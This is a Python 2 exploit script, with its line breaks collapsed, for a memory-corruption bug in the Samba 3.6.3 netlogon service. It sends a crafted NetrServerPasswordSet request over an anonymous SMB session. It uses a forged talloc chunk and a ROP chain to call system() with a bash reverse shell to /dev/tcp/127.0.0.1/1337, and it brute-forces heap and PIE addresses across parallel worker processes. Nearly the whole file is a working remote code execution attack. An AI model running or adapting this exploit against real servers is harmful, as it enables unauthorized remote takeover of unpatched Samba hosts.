#!/usr/bin/env python2
# Author: kelwin@chaitin.com
# sudo apt-get install samba=2:3.6.3-2ubuntu2 samba-common=2:3.6.3-2ubuntu2 libwbclient0=2:3.6.3-2ubuntu2
import sys import signal import time
# https://github.com/zTrix/zio from zio import *
from multiprocessing import Pool, Manager
import impacket from impacket.dcerpc.v5 import transport, nrpc from impacket.dcerpc.v5.ndr import NDRCALL from impacket.dcerpc.v5.dtypes import *
host = '127.0.0.1' port = 445 cmd = "bash -c 'bash >/dev/tcp/127.0.0.1/1337 0<&1 '\0" # 0x0041e2cb: pop eax ; pop esi ; pop edi ; pop ebp ; ret ; pop4ret_o = 0x41e2cb # 0x000a6d7c: lea esp, dword [ecx-0x04] ; ret ; popebx_o = 0x006fd522 pivot_o = 0xa6d7c got_o = 0x9cd640 fmt_o = 0x8e043e system_o = 0xa4250 snprintf_o = 0xa3e20 bss_o = 0x9d5dc0
pie = 0x80000000 free_addr = 0x809fa10c + 8 + 32
def exploit(free_addr, pie=0, destructor=-1, step=0x80): pivot = pie + pivot_o pop4ret = pie + pop4ret_o popebx = pie + popebx_o got = pie + got_o fmt = pie + fmt_o system = pie + system_o snprintf = pie + snprintf_o bss = pie + bss_o
if pie != 0: destructor = pivot # struct talloc_chunk { # struct talloc_chunk *next, *prev; # struct talloc_chunk *parent, *child; # struct talloc_reference_handle *refs; // refs = 0 # talloc_destructor_t destructor; // destructor = -1: (No Crash), others: controled EIP # const char *name; # size_t size; # unsigned flags; // magic # void *poo # }; talloc_chunk = l32(0) # refs => 0 talloc_chunk += l32(destructor) # destructor => control EIP talloc_chunk += l32(pop4ret) # pop4ret talloc_chunk += 'leet' # talloc_chunk += l32(0xe8150c70) # flags => magic
# ebx => got rop = l32(popebx) + l32(got) # write cmd to bss for i in xrange(len(cmd)): c = cmd[i] rop += l32(snprintf) + l32(pop4ret) rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c)) # system(cmd) rop += l32(system) + 'leet' + l32(bss)
payload = 'deadbeef' payload += talloc_chunk * 0x1000 * step payload += 'leet' * 2 payload += rop.ljust(2560, 'C') payload += 'cafebabe' + '\0'
username = '' password = ''
### # impacket does not implement NetrServerPasswordSet ### # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6) class NetrServerPasswordSet(NDRCALL): opnum = 6 structure = ( ('PrimaryName',nrpc.PLOGONSRV_HANDLE), ('AccountName',WSTR), ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE), ('ComputerName',WSTR), ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR), ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD), )
class NetrServerPasswordSetResponse(NDRCALL): structure = ( ('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR), ('ErrorCode',NTSTATUS), )
nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse)
### # connect to target ### rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % host) rpctransport.set_credentials('','') # NULL session rpctransport.set_dport(port) # impacket has a problem with SMB2 dialect against samba4 # force to 'NT LM 0.12' only rpctransport.preferred_dialect('NT LM 0.12')
dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC)
sessionKey = '\x00' * 16
### # prepare ServerPasswordSet request ### authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey) authenticator['Timestamp'] = 10
uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD() uasNewPass['Data'] = payload
primaryName = nrpc.PLOGONSRV_HANDLE() # ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit primaryName.fields['ReferentID'] = free_addr
request = NetrServerPasswordSet() request['PrimaryName'] = primaryName request['AccountName'] = username + '\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel request['ComputerName'] = host + '\x00' request['Authenticator'] = authenticator request['UasNewPassword'] = uasNewPass
DCERPCSessionError = nrpc.DCERPCSessionError try: resp = dce.request(request) print("no error !!! error code: 0xc0000225 or 0xc0000034 is expected") print("seems not vulnerable") # resp.dump() dce.disconnect() return 2 except DCERPCSessionError as e: # expect error_code: 0xc0000225 - STATUS_NOT_FOUND # expect error_code: 0xc0000034 - STATUS_OBJECT_NAME_NOT_FOUND print("seems not vulnerable") # resp.dump() dce.disconnect() return 2 except impacket.nmb.NetBIOSError as e: # print 'exception occured' if e.args[0] == 'Error while reading from remote': # print("connection lost!!!\nmight be vulnerable") return 1 else: raise except AttributeError: # print("exception") return 0
def init_worker(): signal.signal(signal.SIGINT, signal.SIG_IGN)
def guess_heap(free_addr, step, hits): if len(hits) > 0: return log("[+] trying heap addr %s" % hex(free_addr), 'green') res = exploit(free_addr, destructor=-1, step=step) if res == 0: res = exploit(free_addr, destructor=0, step=step) if res != 0: log("hit: %s" % hex(free_addr), 'red') hits.append(free_addr)
def guess_pie(free_addr, pie, step): log("[+] trying pie base addr %s" % hex(pie), 'green') try: exploit(free_addr, pie=pie, step=step) except impacket.nmb.NetBIOSTimeout: pass
def brute_force_heap(step): hit = False print "Initializng 10 processes for brute forcing heap address..." pool = Pool(10, init_worker) manager = Manager() hits = manager.list() for free_addr_base in range(0xb7700000, 0xba000000, 0x1000 * step * 20): for offset in xrange(5): pool.apply_async(guess_heap, (free_addr_base + offset * 4, step, hits))
try: while True: time.sleep(5) if len(hits) > 0: pool.terminate() pool.join() return hits[0]
except KeyboardInterrupt: print "Caught KeyboardInterrupt, terminating..." pool.terminate() pool.join() sys.exit(0)
def brute_force_pie(free_addr, step): print "Initializng 10 processes for brute forcing PIE base address..." pool = Pool(10, init_worker) for pie in range(0xb6d00000, 0xb6f00000, 0x1000): pool.apply_async(guess_pie, (free_addr, pie, step))
try: time.sleep(60 * 60)
except KeyboardInterrupt: print "Caught KeyboardInterrupt, terminating..." pool.terminate() pool.join()
else: pool.close() pool.join()
step = 0x1 free_addr = brute_force_heap(step) brute_force_pie(free_addr, step)
|